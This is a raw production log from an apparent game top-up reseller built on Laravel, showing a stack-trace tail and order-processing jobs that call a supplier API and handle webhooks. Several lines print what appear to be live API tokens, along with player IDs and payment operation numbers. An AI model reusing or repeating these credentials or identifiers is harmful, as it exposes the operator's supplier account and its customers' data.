#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#46 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#47 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#48 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#49 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#50 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#51 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#52 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#53 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#54 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#55 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#56 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#57 {main}
"} 
[2026-03-24 22:04:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"YYMtiDcG95k2Apf6n5HOaJ0ybHgi7izO","execution_time":"2026-03-24 22:04:00"} 
[2026-03-24 22:04:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"YYMtiDcG95k2Apf6n5HOaJ0ybHgi7izO","execution_time":"2026-03-24 22:04:00","total_operations":2,"sites_count":1} 
[2026-03-24 22:04:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"YYMtiDcG95k2Apf6n5HOaJ0ybHgi7izO","execution_time":"2026-03-24 22:04:00","site_id":4,"site_name":"swgamessls","orders_count":2,"order_ids":["ORD-iXlUtZLd-1774379021","ORD-8CAX-1774379028"]} 
[2026-03-24 22:04:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"YYMtiDcG95k2Apf6n5HOaJ0ybHgi7izO","execution_time":"2026-03-24 22:04:00","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 22:04:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"YYMtiDcG95k2Apf6n5HOaJ0ybHgi7izO","execution_time":"2026-03-24 22:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 22:04:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YYMtiDcG95k2Apf6n5HOaJ0ybHgi7izO","execution_time":"2026-03-24 22:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-8CAX-1774379028","operation_id":164318} 
[2026-03-24 22:04:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YYMtiDcG95k2Apf6n5HOaJ0ybHgi7izO","execution_time":"2026-03-24 22:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317} 
[2026-03-24 22:04:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"YYMtiDcG95k2Apf6n5HOaJ0ybHgi7izO","execution_time":"2026-03-24 22:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 22:04:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"YYMtiDcG95k2Apf6n5HOaJ0ybHgi7izO","execution_time":"2026-03-24 22:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317,"processed":0,"errors":0} 
[2026-03-24 22:04:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"YYMtiDcG95k2Apf6n5HOaJ0ybHgi7izO","execution_time":"2026-03-24 22:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317} 
[2026-03-24 22:04:04] production.INFO: Constructing job for order: 179444  
[2026-03-24 22:04:06] production.INFO: Handling job for order: 179444  
[2026-03-24 22:04:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:04:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:04:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=20000&uuid=0eb50b39-8abd-4303-9057-c5e14a6c6405&Player_ID=1150035879  
[2026-03-24 22:04:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=20000&uuid=0eb50b39-8abd-4303-9057-c5e14a6c6405&Player_ID=1150035879","has_body":false} 
[2026-03-24 22:04:07] production.INFO: Operation sent successfully {"operation_id":164319,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-na77z-1774379047","amount":2.251200000000000311928260998683981597423553466796875,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 22:04:07"}},"processed_data":{"order_number":"ORD-na77z-1774379047","amount":2.251200000000000311928260998683981597423553466796875,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 22:04:13] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-na77z-1774379047","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:04:13] production.INFO: Processed webhook data (normalized) {"id":"ORD-na77z-1774379047","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:04:13] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:04:13] production.INFO: SendAcceptReject: Notification queued {"user_id":61,"notification_type":"order_approved","reference_id":179444} 
[2026-03-24 22:04:13] production.INFO: Order updated successfully. Order ID: 179444, Status: completed  
[2026-03-24 22:04:13] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-na77z-1774379047","status":"completed","codes_count":0} 
[2026-03-24 22:04:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 61  
[2026-03-24 22:04:59] production.INFO: Constructing job for order: 179445  
[2026-03-24 22:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 22:05:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 22:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 22:05:03] production.INFO: async() رجع: true  
[2026-03-24 22:05:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 22:05:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 22:05:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 22:05:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 22:05:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 22:05:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 22:05:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 22:05:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 22:05:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 22:05:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 22:05:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 22:05:05] production.INFO: Handling job for order: 179445  
[2026-03-24 22:05:05] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:05:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:05:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=007a1bb3-e947-4b37-a535-d9a40775e197&Player_ID=52231476757  
[2026-03-24 22:05:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=007a1bb3-e947-4b37-a535-d9a40775e197&Player_ID=52231476757","has_body":false} 
[2026-03-24 22:05:06] production.INFO: Operation sent successfully {"operation_id":164320,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-fyOKR-1774379105","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:05:05"}},"processed_data":{"order_number":"ORD-fyOKR-1774379105","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 22:05:16] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1000.0","mainamount":"1000","operation_number":"158780025","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php12q82dh60do82AKaxQd"}},"user_id":194} 
[2026-03-24 22:05:16] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-fyOKR-1774379105","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:05:16] production.INFO: Processed webhook data (normalized) {"id":"ORD-fyOKR-1774379105","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:05:16] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:05:16] production.INFO: SendAcceptReject: Notification queued {"user_id":50,"notification_type":"order_approved","reference_id":179445} 
[2026-03-24 22:05:16] production.INFO: Order updated successfully. Order ID: 179445, Status: completed  
[2026-03-24 22:05:16] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-fyOKR-1774379105","status":"completed","codes_count":0} 
[2026-03-24 22:05:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 22:05:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 22:05:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 22:05:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 22:05:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 22:05:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 22:05:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 22:05:18] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 22:05:18] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18720,"user_id":194,"amount":1000.0,"admins_notified":7} 
[2026-03-24 22:05:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 50  
[2026-03-24 22:05:34] production.INFO: Constructing job for order: 179446  
[2026-03-24 22:05:36] production.INFO: Handling job for order: 179446  
[2026-03-24 22:05:36] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:05:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:05:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/564/params?qty=25000&uuid=433de83f-6e8c-44e5-93d0-be2c1c651935&Player_ID=221384559  
[2026-03-24 22:05:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/564/params?qty=25000&uuid=433de83f-6e8c-44e5-93d0-be2c1c651935&Player_ID=221384559","has_body":false} 
[2026-03-24 22:05:36] production.INFO: Operation sent successfully {"operation_id":164321,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-jHvtk-1774379136","amount":3.441299999999999581490328637300990521907806396484375,"status":"processing","product":"Sugo Amount","game":"Sugo","notes":[],"created_at":"2026-03-24 22:05:36"}},"processed_data":{"order_number":"ORD-jHvtk-1774379136","amount":3.441299999999999581490328637300990521907806396484375,"status":"processing","product":"Sugo Amount","game":"Sugo"}} 
[2026-03-24 22:06:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:00"} 
[2026-03-24 22:06:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:00","total_operations":3,"sites_count":2} 
[2026-03-24 22:06:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:00","site_id":4,"site_name":"swgamessls","orders_count":2,"order_ids":["ORD-iXlUtZLd-1774379021","ORD-8CAX-1774379028"]} 
[2026-03-24 22:06:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:00","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 22:06:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 22:06:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 22:06:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 22:06:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317,"count":2} 
[2026-03-24 22:06:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317,"count":2} 
[2026-03-24 22:06:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317,"user_id":315,"notification_type":"order_approved","reference_id":179443} 
[2026-03-24 22:06:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317,"user_id":315,"notification_type":"order_approved","reference_id":179442} 
[2026-03-24 22:06:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:06:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:06:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317,"processed":2,"errors":0} 
[2026-03-24 22:06:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317,"processed":2,"errors":0} 
[2026-03-24 22:06:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317,"orders_count":1,"order_ids":["ORD-jHvtk-1774379136"]} 
[2026-03-24 22:06:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317} 
[2026-03-24 22:06:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iXlUtZLd-1774379021","operation_id":164317,"orders_count":1} 
[2026-03-24 22:06:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jHvtk-1774379136","operation_id":164321} 
[2026-03-24 22:06:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jHvtk-1774379136","operation_id":164321,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 22:06:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jHvtk-1774379136","operation_id":164321,"processed":0,"errors":0} 
[2026-03-24 22:06:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"WQF5CdhpXcN5dhHlbh6QbkVaxoOlQePu","execution_time":"2026-03-24 22:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jHvtk-1774379136","operation_id":164321} 
[2026-03-24 22:06:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 315  
[2026-03-24 22:06:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 315  
[2026-03-24 22:06:13] production.INFO: Constructing job for order: 179447  
[2026-03-24 22:06:16] production.INFO: Handling job for order: 179447  
[2026-03-24 22:06:16] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:06:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:06:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/591/params?qty=17000&uuid=9c370efc-4489-4f85-b569-0a379dcf4746&Player_ID=17333066  
[2026-03-24 22:06:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/591/params?qty=17000&uuid=9c370efc-4489-4f85-b569-0a379dcf4746&Player_ID=17333066","has_body":false} 
[2026-03-24 22:06:17] production.INFO: Operation sent successfully {"operation_id":164322,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8BLl-1774379176","amount":1.6633853999999999029313357823411934077739715576171875,"status":"processing","product":"Yoho Amount","game":"Yoho","notes":[],"created_at":"2026-03-24 22:06:17"}},"processed_data":{"order_number":"ORD-8BLl-1774379176","amount":1.6633853999999999029313357823411934077739715576171875,"status":"processing","product":"Yoho Amount","game":"Yoho"}} 
[2026-03-24 22:06:25] production.INFO: Constructing job for order: 179448  
[2026-03-24 22:06:26] production.INFO: Handling job for order: 179448  
[2026-03-24 22:06:26] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:06:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:06:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/808/params?qty=1&uuid=9a9cf8ea-f67b-440a-920a-7ae609f821db&Player_ID=0930012588  
[2026-03-24 22:06:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/808/params?qty=1&uuid=9a9cf8ea-f67b-440a-920a-7ae609f821db&Player_ID=0930012588","has_body":false} 
[2026-03-24 22:06:27] production.INFO: Operation sent successfully {"operation_id":164323,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-bKkvD-1774379186","amount":202.9507800000000088402885012328624725341796875,"status":"processing","product":"192.31 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 22:06:27"}},"processed_data":{"order_number":"ORD-bKkvD-1774379186","amount":202.9507800000000088402885012328624725341796875,"status":"processing","product":"192.31 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 22:06:29] production.INFO: Constructing job for order: 179449  
[2026-03-24 22:06:30] production.INFO: Handling job for order: 179449  
[2026-03-24 22:06:30] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:06:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:06:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=32f24671-fb18-4019-8cc1-0e9e43157329&Player_ID=0930012588  
[2026-03-24 22:06:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=32f24671-fb18-4019-8cc1-0e9e43157329&Player_ID=0930012588","has_body":false} 
